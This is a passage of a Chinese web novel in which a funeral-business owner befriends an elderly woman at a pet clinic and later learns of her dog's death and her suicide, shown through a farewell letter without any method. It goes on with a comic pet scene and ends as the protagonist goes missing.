“是最近才长出来的吗?以前有没有?”白绯拧着眉头用手指轻轻拨了拨小豆子,疑惑地询问祝临川。
祝临川摇摇头:“没注意。”
“会不会只是颗痘痘啊?猫咪会长痘痘吗?”小施挠了挠自己下巴上刚冒出来的痘痘,向无所不知的王阿婆求证:“阿婆,你知道吗?”
结果没想到这倒是难住了王阿婆:“这俺也不知道啊!以前俺们自个儿生病都不太在意,人活得糙,宠物就活得更糙了,压根没注意过啊!”
三花也算间接救过白绯的命,白绯自然不可能置之不理。与其在这发愁担忧这不明物体到底是什么,倒不如直接去宠物医院找医生看看。
正好祝临川今天休息,二人便抱着三花去了附近一家口碑还不错的宠物医院。
宠物医院一点也不比人类医院冷清,里面挤满了各种小病人。
仓鼠宝宝翘着被绑成木乃伊的一条腿,而它自责的主人正在疯狂道歉:“嘤嘤嘤对不起啊团子,我真不是故意踩到你的呜呜呜..."
全身羽毛都掉光了,让白绯一瞬间幻视烤鸡的□□鹦鹉正在和主人说话:“刘英俊儿~刘英俊儿~外卖到了!外卖到了!”
名叫刘英俊的主人脑袋上光滑得苍蝇都能劈叉,正指着鹦鹉翅膀上冒头的一点羽毛和朋友哭着视频:“你看!我家金元宝又重新长毛了!呜呜呜,不枉费我花了三个月工资把它从那个傻逼前主人那儿救出来!我就知道只要抑郁症好了,俺家金元宝一定会是鹦鹉界最靓的崽!”
还有一个捧着只漂亮守宫的主人正拿着一次性吸管给另一名同好展现自己的绝活:“告诉你,你就照我这么来,绝对能把你家宝贝儿蜕的皮扒得又快又干净,爽到它翻白眼。”
说完就小心翼翼给守宫背部的皮蜕挖了个洞,把吸管口插进去,另一头则放进嘴里使劲一吹。
只听噗一声,整张皮蜕都跟充气的皮球似地鼓
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了起来,甚至连鼻孔和耳孔的皮蜕都掉了出来。被裹在一整张完整皮蜕中的守宫一脸懵逼,像是都还没明白过来发生了什么。
那名同好一边惊叹,一边啪啪啪疯狂鼓掌。
白绯抱着三花避过一个朋克系女孩。她正拿着尿不湿撵在只大白鹅屁股后面满院跑:“快停下祖宗,把尿不湿穿上,一会儿又该拉了!”
她推开诊室的门,把三花小心翼翼地放在了检查台上。
穿着白大褂的医生呸呸呸地走了进来:“呕~感觉我也得吃点化毛膏,刚才给那萨摩洗澡,口罩根本防不住,满屋子飞的都是跟蒲公英似的毛!”
他注意到紧张的白绯和祝临川,神情一凛,严肃道:“怎么了?”
祝临川轻轻按住在台子上顾涌的三花,拿出一根猫条安抚。白绯则趁这个机会扒开它腹部柔软的长毛,指着那颗疑似肿瘤的凸起物:“医生,您看看这儿,今天我们突然发现这么个小疙瘩,该不会是什么不好的东西吧?”
医生闻言赶紧从胸前的口袋里掏出一副眼镜架上,打开检查灯对准了三花凑近细看。
白绯紧张地抿着嘴细看医生的表情,生怕从他嘴里蹦出什么不好的话来。
结果却只看到医生眉头微妙地一挑,紧跟着嘴角咧开,憋着笑道:“二位,哈哈哈,放轻松。这个啊,根本不是什么肿瘤,是你家主子的咪咪啊!”
白绯和祝临川同时愣住,想过了一万种可能,都没想过这会是三花的咪咪。
“可是…可是它是公猫啊!”白绯一脸茫然。
此刻,她的心情可以说是又喜又囧。喜的是三花没有生病,囧的是他们一帮子人对着人家小猫咪的咪咪扒拉了半天。要是三花会说话,只怕要痛骂这帮人类性骚扰。
“公猫也有咪咪啊!”医生哭笑不得,他意有所指地看了眼祝临川,憋笑道:“那男人也有□□,公猫咋就不能有了?人家不只有,还有八个呢!哝,你们看...”
白绯俯身看去,随着医生扒开三花腹部的毛发,果然看到了两排八个小咪咪。
医生笑眯眯地看着面前两个瞳孔地震的客人,表示理解地点点头:“我懂我懂,其实我也好奇,除了区分正反面外毫无用处的□□为什么还没从公的身上退化掉..."
他低声嘟哝着,又提着三花的后腿往腿间看了看,很自然地用手扒拉了下那两个毛茸茸的铃铛:“不过三花公猫倒是很少见啊,带宝贝做过检查了吗?一般三花公猫都容易携带些基因疾病的。”
闹了这么一场乌龙,白绯脸有些红:“检查过了,除了不育外没其他毛病。”
医生又笑着扒拉了下三花的铃铛:“那挺好,不用噶蛋了。这两铃铛手感可好,你们摸摸?”
白绯怀疑自己在三花的脸上看到了无声的谴责。
刚扒拉完人家的咪咪又摸人家蛋蛋,现在的人类到底还能不能有点边界感了!
然而她实在不好意思拒绝医生的盛情邀请,只能把手也放到了三花的铃铛上。结果没想到这铃铛的手感竟诡异得好,白绯这么一摸,竟然还有些摸上瘾。
白绯和医生就这么开始蹂躏三花的蛋蛋。祝临川无语低头,正好与三花控诉的眼神对上,像是在说:“你倒是管管她呀!”
就在现场情况越来越诡异的时候,一个身形瘦小的老太太抱着一只慈眉善目的摇粒绒泰迪快步赶了进来。
83. 来不及说再见
老太太满头的汗,拿着把手持小电扇,却根本顾不上给自己吹,而是一直对着怀里蔫巴巴的摇粒绒。
她看起来像是走了挺远的路,气都还没喘匀,就眼巴巴地朝医生扑了过去:“大夫,求您快给我家来福看看!”
有病号来了,白绯赶紧识趣地抱起三花让到一边。
三花好奇地看着这只慈祥摇粒绒,竟然一点也不害怕,反而还喵喵喵地和它打起招呼。
相比白绯常碰见的泰迪,此刻躺在检查床上的小泰迪看起来要慈眉善目的多。
都说宠物和主人也会有主宠相,白绯看着面相和善的老太太,觉得还挺有道理的。
只是这只小泰迪毛色比较特殊,在它的口鼻和胸口处,都长着一撮白色的毛发,白绯挺少看见这样配色的小狗的。
小泰迪看起来确实有些蔫蔫的,它懒懒地半阖着眼睛没有动,只对着三花友善地摇了下尾巴作为回应。
老太太放下小狗后就焦急地开始翻口袋,从里面掏出了一块四四方方的手帕,里边里三层外三层裹着厚厚一叠纸钞:“大夫,只要能治好我家来福,钱管够!”
“奶奶,你别急,先和我说说宝贝哪里不舒服?”医生赶紧安抚了老太太几句,然后戴上听诊器,开始自己检查小泰迪的身体。
老太太抹了把额头的汗,眼睛一刻也没离开他们,嘴里道:“来福这两天很没精神,饭也不爱吃,总在睡觉。从前它最爱和我出去遛弯了,最近却门也不愿意出。而且我叫它,来福也不怎么应了,就连在家里好端端走着,都会莫名其妙撞上柜子椅子。医生,来福它到底怎么了,难道是眼睛不舒服吗?”
医生表情严肃起来。他仔细听了听来福的心肺,又翻看它的眼睛和口腔,一番严谨的检查过后,终于摘下了听诊器。
老太太充满希冀地看向医生,然而医生却逃避般避开了她的目光。
他在老太太焦急的注视下沉默了两秒才开口,像是在谨慎斟酌措辞:“奶奶…来福它没生病。”
老太太眼里瞬间燃起微光:“那就好,那就好…”
然而下一秒,她就听到了另一个并不算太好的消息。
“来福它…只是太老了。”
老太太脸上一片茫然,花了好久才明白这句话的意思。她嘴唇微张,喃喃道:“可是...可是…来福它才20岁啊..."
医生低下头,怜爱地摸了摸来福的脑袋,声音放得很轻很柔:“奶奶,20岁对于一只小狗来说,已经算很长寿了。年纪到了,身体的各项功能自然会发生衰退,这也是没办法的事啊。”
老太太攥紧了手里的钱,像握着救命稻草。片刻后,她像是反应过来,把钱往医生的方向推了推:“那...那还有什么办法吗?要不给来福输点营养液吧,这样它是不是能舒服一点?”
医生明白这不过也只能让老太太心里舒服点,便点点头回道:“行,那您等一会。”
白绯看着摇摇欲坠的老太太,心下不忍,上前两步扶住了她佝偻的身体,转移话题般搭起了话来:“阿姨,您家来福真漂亮,你看我家小猫咪也很喜欢来福呢。”
老太太擦了把眼角,在白绯的搀扶下坐在了诊室的椅子上。她勉强打起了精神,轻轻握着来福的小爪子,和白绯开始了商业互吹。
“闺女,你家的小猫咪也很漂亮。”她慈爱地看着三花在来福身边亲昵地蹭来蹭去,视线像是穿越时空回到了二十年前。
“我还记得我们来福小时候的样子呢,也和你家小猫咪一样喜欢蹭人。它刚从妈妈肚子里出来没多久就被狗贩子带到了市场上,瘦得只有拳头那么丁点大,发着抖躲在笼子角落里,我那脚啊,就怎么也迈不动了。来福打小就听话,性子也好,院子里不管谁家都喜欢它。我有个老邻居,家里养了只比格犬,来我家看到来福后那是喜欢得不行,说这才是她心目中小狗该有的模样。闺女,你知道吗,有一年我食物中毒,家里又没其他人,还是来福跑出去,挠着门把人喊了过来,老太婆我才没直接一命呜呼。那时候它急得,那小爪子都磨得血肉模糊...啊…原来,我们已经在一起那么久了吗?可才区区20年,这点时间,又哪里够?”
白绯看着老太太难过的神情,却不知道该怎么开口安慰。
老太太自嘲地笑笑,勉强打起了精神:“嗐,你瞅我这老太婆,尽说些丧气话。我和来福都老喽,正好谁也不用嫌弃谁,过一天算一天吧。”
白绯不赞同,轻轻道:“奶奶,您还年轻呢,长命百岁。”
老太太脸上终于有了点笑意,她慈爱地看着白绯和祝临川道:“闺女,你和我家外孙女一般高,她皮肤也白,长得也瘦,看见你就像看见她,让老太婆我觉得亲切。对了,前几天她还带对象来看我了,她对象也和你对象差不多,个高腿长,眉眼俊秀。”
老太太笑着笑着,又落寞下来:“只是啊,她现在也去南边闯了。孩子大了,一个个就像那飞鸟,都往大城市跑,只留下我老太婆一个人,还守着这家。不过我也懂,年轻人嘛,现在不去追逐梦想,将来老了那得多不甘心啊!不过好在还有来福陪着我,我也不孤单。”
白绯看着她强颜欢笑,想了想,主动提出等会儿送她们回去。老太太不好意思麻烦她,但架不住二人坚持,最后便应了。
车子驶入一个老旧小区,老太太姓姜,住在三楼,屋子不大却整洁,里面到处充满了狗狗生活的印记:角落里铺着的柔软狗窝,狗窝上还铺着凉席,凉席边上支着一把小风扇,各式玩具散落在窝边,进门的柜子上摆着一溜的狗粮和各式罐头。
白绯打眼一看,竟然发现有不少还是进口的,价格不菲。
姜老太注意到白绯打量的视线,骄傲道:“来福最爱吃我做的东西了,除了这些罐头,我还会学着网上的方子做狗饭,以前来福每次都能吃光。”
来福输了液,精神瞧着好了不少,竟然和三花一起玩了会儿。姜老太看着很欣慰,主动向白绯她们发起了邀请,让她们有空随时来玩。
白绯也有心陪陪姜老太,自然就应允了。结果没想到,接下来几天小楼里竟接了不少单子。等好不容易空下来,又陪着白书远夫妻一起去给周端和芷兰的孩子正式办理了领养手续。
这么一忙就忙了好几天,等终于闲下来,已经是一周后了。
白绯带上三花,再次出发去看望姜老太。
然而车子才刚驶入小区,她就隐隐有了不详的预感。
在路过小区的垃圾处理站时,她看到了一个眼熟的不锈钢小盆,内侧还镌刻着一个福字,竟是和之前在姜老太家看到的来福的食盆一模一样。
白绯粗略一扫,竟然还看到了来福的凉席、玩具和小电扇。
白绯不安地抱紧了怀里的三花。
她勉强笑笑,低头对三花道:“应该只是巧合对不对?哈哈,来福才刚输了液,看着明显状态
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好了很多。再说了,就算来福走了,姜奶奶也肯定舍不得把来福的东西就这么随意丢在垃圾桶啊!”
三花仰起头蹭了蹭白绯的下巴,细细地“咪呜”叫了一声,像是在赞同。
白绯定了定心,继续往前走。然而当她踏入姜老太家所在的单元楼道时,她的心更乱了。
拐角处,一个破旧的大铁盆内装着大半盆未燃尽的纸灰,随着一阵不知从哪儿吹来的风,火星和灰烬打着旋儿扑了白绯半身。
白绯的脚步僵住。
姜老太的家就在三楼,她只要跨过短短三层楼梯就能一探究竟,然而这点距离却远得犹如天堑。
白绯深吸一口气,迈开了脚步。然后没想到这口气最后还是闷在胸口,再也没能吐出来,堵得她心里憋屈得慌。
姜老太家的门敞开着,门内不复杂整洁,反而到处散落着打包纸箱,几乎连下脚的地方都没有。
白绯的目光径直穿过这片混乱,定定地落在了客厅中央的那张方桌上。
熟悉的果篮边出现了两个本绝不应该出现在这个地方的东西,那是一大一小两个骨灰罐。
白绯感觉自己的喉咙哽了一下。她缓缓抬手,指节在敞开的门板上叩了两下:“姜奶奶?来福?”
直到这时,她才意识到自己的嗓音已经干涩得如同砂纸。
“谁?”一个带着浓重鼻音的年轻女声从纸箱堆叠处传来,打破了白绯最后的希望。
片刻后,一个瘦削的身影从主卧转出。在看清人影之后,白绯脑海里瞬间又回忆起了在宠物医院姜奶奶慈祥的笑容。
“闺女,你和我家外孙女一般高,她皮肤也白..."
是姜奶奶的外孙女。
“你找谁?”女孩双眼红肿,眼下青黑,脸上是浓重的倦怠。她手里还抓着一件衣服,有些迷茫又有些警惕地看着突然到来的陌生访客。
白绯看着她手里那件熟悉的花衬衫。那天,姜奶奶就是穿着这件衣服送来福去的医院。
“你好,我是姜奶奶的朋友,来看看她和来福。”白绯喉咙发紧,其实已经预想到了对方的回答。
果然,女孩红肿的眼眶瞬间又蓄满了泪水,她用力吸了下鼻子,强忍着哭腔道:“谢谢你来看外婆和来福。只是你来晚了,她们...她们已经走了。”
白绯的目光不由自主又投向了桌上那两个灰扑扑的陶罐。
姜佳奈,也就是年轻女孩偏头抹了把泪,声音哽咽:“来福是周一晚上走的。"
白绯抱着三花的手微微一紧。她们在宠物医院见面时是在周六,那岂不是才两天...
“外婆说...”姜佳奈努力平复呼吸,试图让自己的声音不要抖得那么厉害,“她早上醒来,就看到来福躺在自己的枕头边,也不知道它现在看不清,腿脚又不方便,是怎么一点点爬上来的。外婆把它火化了,带了回来,说想给来福也找块墓地。”
“我应该回来看看她的。”姜佳奈说着说着终于再也忍耐不住,蹲在地上崩溃大哭起来,“我明知道来福对外婆有多重要,可我才刚入职,不敢请假,想着等周末就回来,也就晚几天,能出什么事。”
白绯的视线也开始模糊,姜佳奈看着她,像是在向她寻求一个答案。
“外婆在视频里明明看起来很好,邻居也说还看到她照常下楼晒太阳、买菜,和他们打招呼...可为什么,到底为什么...她要自杀啊?!”
84. 遗书
房间里落针可闻,唯一的动静就是姜佳奈哭泣的声音。
白绯默默垂下眼,手指无意识地收紧。也不知是不是手下失了力道,三花挣了两下后离开了白绯的怀抱,轻盈地跳上了方桌。
姜佳奈被这动静吓了一跳,生怕罐子被碰翻,慌忙起身去拦。结果起得太急,反倒扑倒了桌上的果篮,苹果咕噜噜滚了一地。
桌上,三花优雅落地。它偏头亲昵地蹭了蹭两个陶罐,又打了个哈欠,然后就卧在边上不动了。
被它这么一打岔,白绯惊得连伤感也顾不上了,着急忙慌地上前把这个祖宗抱起来,忙不迭地和姜佳奈道歉:“对不起对不起,我一时没抱稳..."
好在三花很通人性,似乎只是想和故人告个别。然而白绯作为外人,到底不敢冒这个险,万一三花把罐子打翻了,叫她如何对人交代啊!
然而姜佳奈却没顾上这边,而是伸手,从果篮下拿出了一封信。
“这是...”她拿起信封,瞬间认出了上面的字迹,“是外婆的遗书...”
姜佳奈近乎急切地打开信封翻阅起来。片刻后,她释然地苦笑一声,跌坐在椅子上,用手捂住了脸。
“你也看看吧,外婆也有话留给你。”
白绯看着姜佳奈递来的遗书,意外地接了过来,低头看了起来。
“给我留在世上唯一的念想-奈奈宝贝:
当你看到这封信的时候,外婆已经走了。希望你别怪外婆,外婆只是觉得,我的时候到了。
活到这个岁数,不算高寿,倒也能称得上喜丧了。
这世上有太多的人,还没来得及看遍人间的风景,体验世间百态,就因为各种各样的原因撒手人寰。相比起来,外婆和来福能平安快乐、无病无灾地步入老年,实在已经是天大的福气。外婆我啊,知足了。
你外公走得早,外婆一个人把你妈妈拉扯大。每天什么都顾不上想,睁眼就是赚钱带孩子。就像那眼前吊着胡萝卜的驴,唯一的念想就是等孩子大了,就应该好了,生活就好过了。后来果然好过了,你妈妈争气又孝顺,在大城市安身立命,还生下了你,我的宝贝。
老太婆我的晚年应该是幸福的。
可人,大概就是那么矛盾,好不容易清闲下来,却觉得屋子有点太静了,心里也空空的,风吹进来,都能呼呼地响。
直到那天,我在菜市场看到了来福。
有了来福后,这个家才又有了活气。它陪着我晒太阳,陪着我买菜,陪着我吃饭,陪着我遛弯...它怎么那么乖呢,眼睛永远看着我,永远陪着我,我就是它的天,它的全部啊!
可是二十年真的太短了。感觉也只不过眨眼间,我就成了牙都快掉光的老太太,来福也成了只吃饭再也不香的老小狗。
我总以为,人生还有很长的路要走的,却没想到这么快就走到了尽头。
其实啊,前段时间我在医院检查出了肺癌,已经进了晚期。原本我还在犹豫,究竟要不要赌一把,因为我实在是放不下你,奈奈,我最小的宝贝,还有我的来福老伙计。
但是我没想到来福走得这么快。我原本以为,我们之间还有时间的。
不过这样也好,它走在我前头,我定然要把它的后事处理得风风光光,为它找块墓地,将来好去祭拜,也好让它享受人间的香火。只可惜,外婆还是高估了自己。
身上的病痛来得很快,我清楚地意识到自己命不久矣。
而当我看着屋子里来福睡塌的窝,吃剩的半罐狗粮,拖鞋上的牙印,衣服上的狗毛...外婆就觉得身上更痛了。
奈奈,原谅外婆吧,外婆先走了。你妈妈一个女人也很不容易,以后你要替外婆多疼疼她。
奈奈,对不起,最后还要难为你收拾外婆留下的烂摊子。
屋子里的东西你看着办吧,有用的拿走,没用的就扔了吧。只一件事想要拜托你,希望你能为来福也找块墓地,将来能替外婆时不时地去看看它,不要让它太孤单。
另外,还要请你告诉白绯那闺女。对不起她们,我要失约了,我等不到她和她家漂亮的三花猫了,祝福她们未来一切都好。
也希望你,奈奈,一定要快乐平安地生活下去。好好吃饭,别太拼命工作,钱是挣不完的,身体最重要。
外婆和来福会在天上看着你,保佑你。”
白绯唏嘘地叹了口气,小心翼翼地将信递了回去,斟酌片刻后开口:“我家就是开殡葬公司的,如果你愿意,我可以单独开辟一片宠物墓地,让来福下葬。”
姜佳奈吃了一惊,如果是这样,那倒是完成了外婆的遗愿。而更巧的是,当白绯说起墓园的位置后她们才发现,原来姜奶奶的老伴就葬在那里。
“那太好了,这样外婆和来福就可以不分开了。”姜佳奈擦了把脸上的泪,重又振作起来,“之前因为一直找不到来福的墓地,所以外婆的骨灰才一直拖着没有下葬。爸爸妈妈说我胡闹,和我大吵了一架,给我我下了最后通牒,说只给我一周的时间。”
她难过地看了眼凌乱的房间:“爸爸妈妈在B市,照顾不了这套房子,已经挂牌准备卖了。我只能挑着拿走一点外婆的遗物,其他的都只能扔掉。”
白绯理解地点了点头。
得到了姜佳奈和她父母的同意后,白绯就立刻联系了白叔远夫妻。
在他们的帮助,一切都很顺利,姜老太和来福很快入土为安了。
最后,来福的墓地和姜奶奶夫妻的墓地离得很近,只隔了一条窄窄的小道。
白绯把来福的饭碗又捡了回来,放在了来福的墓前。又捡回了它的玩具,放在了姜奶奶的墓前。
她坐在姜奶奶墓碑前,沉默地看着纸钱在铁皮桶内无声地燃烧。
橘红的火舌不断舔舐着边缘,然后吐出细碎的黑灰。
白绯的思绪漫无目的地跳跃。
人死后,除了值钱的遗物,大部分最后的归处都是垃圾回收站。无论是日记本、相册还是证书...这些对于亡者来说承载着重大意义的东西却连废品回收处都不稀罕要,最后只会被付之一炬。
这样想想,现代人的遗物大都是电子型的,只要在死前删除电子设备的浏览记录和一些私藏珍品,倒也算方便快捷呢...
据说,就曾有这样的医学奇迹,因为惦记着自己电脑里还未删除的浏览记录,硬是撑过了重伤活了下来。
也曾经有一个经历过濒死体验的女生告诉过白绯,说她能撑过车祸重伤,全靠心心念念自己还没能买回来的
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漂亮高跟鞋,想着如果就这样死了,真的做鬼都不甘心...
所以说人想要活着,果然还是得有欲望吗?无欲无求看破红尘,就容易失去活下去的动力吗?
就在她的思绪都快飘到天边时,身边的光线微微一暗,一个高大的身影无声地蹲了下来。
是祝临川。
白绯这才发现,此时已是黄昏。她竟不知不觉在姜老太墓前坐了一下午。
祝临川没看她,也没说话,只是很自然地从白绯脚边拿起一叠纸钱,轻轻投入桶中。新的纸张被火焰吞没,火光照亮了他线条分明的侧脸。
直到烧完一沓,祝临川才开口打破了沉默。
“别太难过了。”
白绯几乎是条件反射地扯出一个笑容,笑声夸张,声音带着刻意带出来的轻松:“哈哈,哪有啊。我干殡葬这一行都多久了,天天跟生死打交道,还能因为这点小事难过?放心吧,生死无常,我明白的。”
白绯边说,边又往铁桶里扔了一叠纸钱,因为动作太大,火焰猛地窜起,差点燎了她的刘海。
祝临川没有反驳,他只是往白绯身边靠了靠,然后伸出手,把白绯的脑袋轻轻按在了自己的肩膀上。
然而就是这样一个简单的动作,白绯脸上的笑容却像被封吹干的泥浆,终于龟裂、垮塌。
喉头发紧,视线里的火焰逐渐模糊。
“我应该早点去看她的。”白绯听到自己的声音颤抖得不像话,“如果我早一点去看她...就早一天...她是不是...就不会..."
是啊,白绯比谁都明白生死无常。为什么她会觉得自己和身边的人都会是那个例外呢?为什么直到现在还抱着这种天真的侥幸呢?
祝临川揽着她的肩膀,让白绯埋在他怀里发泄心中的痛苦。
他轻轻拍着白绯的后背,又掏出手帕给人擦泪,直到她宣泄得差不多了,才再次开口。
“姜奶奶早已存了死志,来福的离开只是一个契机。你去看她,也许能让她最后的日子多些慰藉,但很难改变她最终的决定。”
他温柔地注视着白绯,目光深邃,带着抚慰人心的力量:“这不是你的责任,也不是任何人的责任。这是她自己的选择,虽然让人难过,但对她自己而言,反而是种解脱。你已经做得很棒了,替她完成了遗愿,姜奶奶她会感到高兴的。”
白绯的情绪终于稳定下来,精神松懈后的她竟然就那么躺在祝临川怀里睡着了。
祝临川轻手轻脚地把白绯抱回了房间,看着她湿漉漉地睫毛和脸上未干的泪痕,心中满是怜惜。
他给白绯掖好被角,悄悄带上门,出来时还在走廊遇到了探头探脑的三花。
“嘘。”祝临川对着三花竖起一根手指,示意它小声些,“她累了,让她休息会儿吧。”
祝临川也没闲着,白绯今天一天可都没好好吃饭呢。
他谢绝了王阿婆的好意,让她好好去休息,自己则久违地进了厨房,煮了一碗红糖酒酿鸡蛋。
难过的时候还有什么比甜食更能抚慰人心呢?
估摸着白绯应该差不多醒了,祝临川便最后在碗里撒了点糖桂花,正准备端去她房间,一声凄厉惊恐到变调的尖叫突然从白绯的房间传了出来。
85. 猫好,人也好
祝临川如离弦的箭般冲了出去,侧身猛地撞开了白绯的房门。
此刻的他就是一头被激怒的野兽,目光瞬间锁定了房间里唯二的两个活物。
白绯脸色煞白如纸,后背牢牢贴在床角的墙壁上,抖得如秋风里的落叶,看起来恨不得把自己嵌进墙壁里,好离床头再远一点。
祝临川把视线转向床头,在那里,三花猫正一脸无辜地、端端正正地蹲坐在白绯的枕头旁边,毛茸茸的小尾巴尖还惬意地一甩一甩。
“绯绯,怎么了?”祝临川再次扫视整个房间,试图找出危险的存在,然而还是一无所获。
整个房间与他方才离开是一般无二,而唯一的变化就是…
祝临川再次把视线投向三花猫。
白绯看起来快昏过去了,她揪着自己的衣襟,颤抖地伸出一根手指,指向了她的枕头。全程她都歪着脸,一副不忍直视的模样。
祝临川靠近,这下他终于看清了方才被三花猫毛茸茸的身躯遮住的东西,也就是把白绯吓出海豚音的罪魁祸首。
只见她柔软蓬松的枕头上,正整整齐齐陈列着几样贡品。
一只死不瞑目的大老鼠,舌头都耷拉在尖嘴外,细长的尾巴僵直成一条线。
而围绕着这道主菜的,则是两只油光发亮、脑袋上的双马尾甚至还在微微颤动的肥大蟑螂。
祝临川:...
他看向一脸求表扬表情的三花,电光火石间明白了一切。
这家伙,怕是看到白绯情绪不高,于是拿出了自己最珍贵的营养品。它是要把自己的食物送给心爱的人类,希望她吃了后能快点好起来。
显然,白绯也后知后觉明白了一切。她艰难地压下脑海中,方才一睁开眼就与冤死的老鼠与蟑螂八目相对的巨大冲击,努力挤出一个扭曲的笑容。
“宝贝,谢谢你,这是你特意抓来给我...呕…吃吃吃吃的吗?”
天真的三花丝毫没意识到自己的主人笑得有多勉强,傲娇地伸出爪子把食物又往白绯的方向扒了扒,像是在催促她趁热赶紧的。
白绯呜咽了一声。
“呜…谢谢你宝贝,我真的好感动。但我现在还不饿,一会儿再…吃吃吃吃,好吗?”她一边说着,一边拼命朝床头的祝临川使眼色。
还愣着干什么,快给我把它们端走啊啊啊啊啊!
然而祝临川这时候却像是瞎了般,竟认真严肃地和三花交谈起来。
“这老鼠和蟑螂哪儿抓来的?难道小楼已经沦为了它们的据点?”
“喵~”
“嗯,问题很严峻啊。从今天起特任命你为害虫大队抓捕队长,务必诛了小楼里所有害虫的九族!”
“喵!”
白绯根本不敢动,眼睛都快挤瞎了。她看着祝临川嘴角促狭的笑,哪里还不明白这是捉弄她呢~
好在这时,楼下的王阿婆也被白绯的叫声引上了楼。见多识广的她只一看房内的情况,很快就明白了大概。
她笑呵呵地进来,抱起三花一边给它挠下巴一边夸奖道:“哎哟,俺们咪咪可真乖,抓来了这么多好吃的呀~阿婆明天一定得好好奖励奖励你,给你吃油炸小鱼干好不好呀~”
“阿婆...”白绯泪汪汪地看着王阿婆,撒娇地叫了一声。
王阿婆明白白绯不想伤了三花的心,对二人挤挤眼睛:“俺抱咪咪下楼了,今晚它和俺一起睡哈。”
这样你们也好处理这些“猫的报恩”。
王阿婆和三花离开后,祝临川挨了两下白绯爱的小拳拳,捂着胸口在白监工的监视下,把贡品连同整个枕头都远远扔了。
然而即便如此,白绯也不敢在自己房间里待下去。天知道她迷迷糊糊睡醒后睁眼就是大老鼠死不瞑目的黑豆眼,对她带来的冲击有多大,她现在心脏都还在扑通扑通狂跳呢!
好在经过这一场闹剧,白绯终于振作起来。受此启发,她索性积极开展起了宠物殡葬业务,并在自家公司的网站上更新了相关条目。
没想到的是,由于目前并没有哪个同行重视这一块,白绯家竟成了唯一提供宠物殡葬业务的公司,一时间订单纷至沓来。
赚了钱白绯当然也高兴,更重要的是,能为宠物提供安息之地,也为养宠人提供缅怀祭奠的地方,白绯只觉得自己的功德又加一,因此忙得可谓不亦乐乎。
这件事要说唯一的缺点,那便是冷落了才转正男友身份不久的祝临川。他原本就只有工作日晚上和周末才能有和白绯独处的时间,如今女友忙起事业,二人之间卿卿我我的时间就更少了。
好在祝临川却也没有怨言,只是十分善解人意地扮演起了贤内助这个角色。工作之余,他都会自觉打起第二份工,主动给白绯帮忙。
就这样忙碌了有小半个月,小楼络绎不绝的养宠人终于慢慢减少,大家终于能喘口气好好歇一歇了。
正好马上就要到周末,白绯干脆给小楼里的其他人都放了个假,自己则和祝临川约好,周末一起去附近一个著名的湖畔酒店歇两天。
这个地方是祝临川选的。他知道白绯一定很累,所以特意挑了这个距离不远又风景秀美的地方,打算和白绯换个地方躺平。
旅游的目的是为了放松身心、愉悦心情,若是一味打卡奔波,让本就疲惫的身体雪上加霜,反倒不美。在漂亮的酒店看看风景、吃吃美食,又有心爱的人陪伴在侧,未尝不是人间一大美事。
然而,祝临川指尖无意识地摩梭着手机屏幕——屏幕上是他和白绯的聊天界面。上面最后一条是白绯发的信息:“五点半在法医中心停车场等我,我来接你~”
约定的时间早就过了,天空暮霭沉沉,城市的霓虹灯次第亮起,然而白绯却还没有来。
祝临川敏感地觉得不对劲,白绯向来是很守时的人,即使发生意外迟到,也一定会发信息通知他。
然而祝临川不仅没有收到任何信息,甚至连回拨的电话都始终无人接听。
他的心情逐渐焦躁,不断地在停车场来回踱步,视线却一直投向远方的道路,然而他注定失望了,远方始终没有出现那辆熟悉的奔驰。
祝临川再次拿起手机拨打白绯的电话,这次不再无人接听,而是一个机械的女声:“对不起,您拨打的用户已关机。”
这简直比没人接还可怕。
现代人,有几个会让手机因为没电关机的?尤其是像祝临川这样有电量恐惧症的人,手机电量低于90%天都要塌了,恨不能时时刻刻保持满电状态。
难道白绯的手机被偷了?祝临川的心瞬间乱了起来。如果真的只是被偷,倒也不是什么大事,大不了就当破财消灾了。怕只怕,别是人出了意外...
祝临川只觉得有一股寒气顺着后背脊椎直蹿上来,身上竟出了冷汗。他又想起了沉眠在墓园里的父母,冰冷的恐惧攫住心脏,让他头脑一瞬
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间完全空白。
他好不容易才重新拥有幸福,就算是老天爷也别想夺走!
祝临川眼神一凛,大踏步向路边走去,同时拨通了王阿婆的电话。
“绯绯?她下午三点多就出门了,说有个客户家的鸡去世了,想来墓园看看,但迷路了找不到地方,让她过去接一下。当时俺还听她嘀咕了声,说希望别耽搁了和你的约会...怎么,她没和你碰上头?”
闻言,祝临川的心彻底沉了下来,直觉这个客户有大猫腻。他再次和王阿婆确定,白绯之后没和小楼里的任何人再有联系,当下就知道事情怕是不好。
“行,我知道了。阿婆,你知会安夏她们一声,要是和白绯联系上了,立刻通知我。我现在去趟派出所。”
祝临川在路边拦了一辆出租,直奔辖区派出所。司机原本无聊还想搭话,结果看祝临川满身的寒气,愣是没敢吭一声,一路压着最高限速直接把人送到了地方。
法医中心离派出所不远,然而接待的民警听到祝临川的话却显得很为难:“小祝,虽然你是咱们所的法医,但也要按规矩办事呀。一个成年人,失联才几个小时,也许只是手机没电了呢?这没到时间,我们也不好立案呐!要不...你再等等看?”
道理祝临川都懂,可是他实在没办法等待24小时。他宁可最后发现这只是一场乌龙,也没办法坐视不理。万一白绯真的发生了意外,那时间每多流逝一分钟,她的处境就多一分危险。
“唉,祝临川?你怎么在这儿?”
就在这时,一个熟悉的声音从背后传来,“不是吧,你俩又卷进什么命案了吗?咦,白绯呢?你俩天天跟连体婴似的,怎么没看见她?”
祝临川回头,发现说话的竟然是警官小刘。
他之前在小楼出警了巨人观爆炸尸体现场后,因为心理实在受不了,就从A市转调到H乡。结果没想到又在那里的河边遇到了白绯和钓鱼佬钓起碎尸,现在兜兜转转地,没想到竟又回来了A市。
然而此刻祝临川也顾不上问那许多,而是上前几步,把小刘拉到了一边,恳切道:“刘警官,拜托你帮帮忙。白绯下午三点接到一个客户电话后离开,失联至今,你能不能帮忙查查来电的是谁?”
小刘一脸为难:“唉?这...不太符合规矩啊!”
祝临川看起来快碎了:“刘警官,求求你。本来我们约好了晚上约会的,可是她从接了那个电话后就再也联系不上。白绯从来不会随便关机,我真的很担心她出事。”
小刘看祝临川急得脸都煞白,有些为难地左右瞟了瞟,终于下定了决心:“那…行吧,你等我消息。下不为例啊!”
“多谢!”
刘警官摆摆手离开了,祝临川却也没打算继续干等着。他转身冲出派出所,冰冷的夜风灌进肺里,让他如岩浆般沸腾的大脑有了片刻的清明。
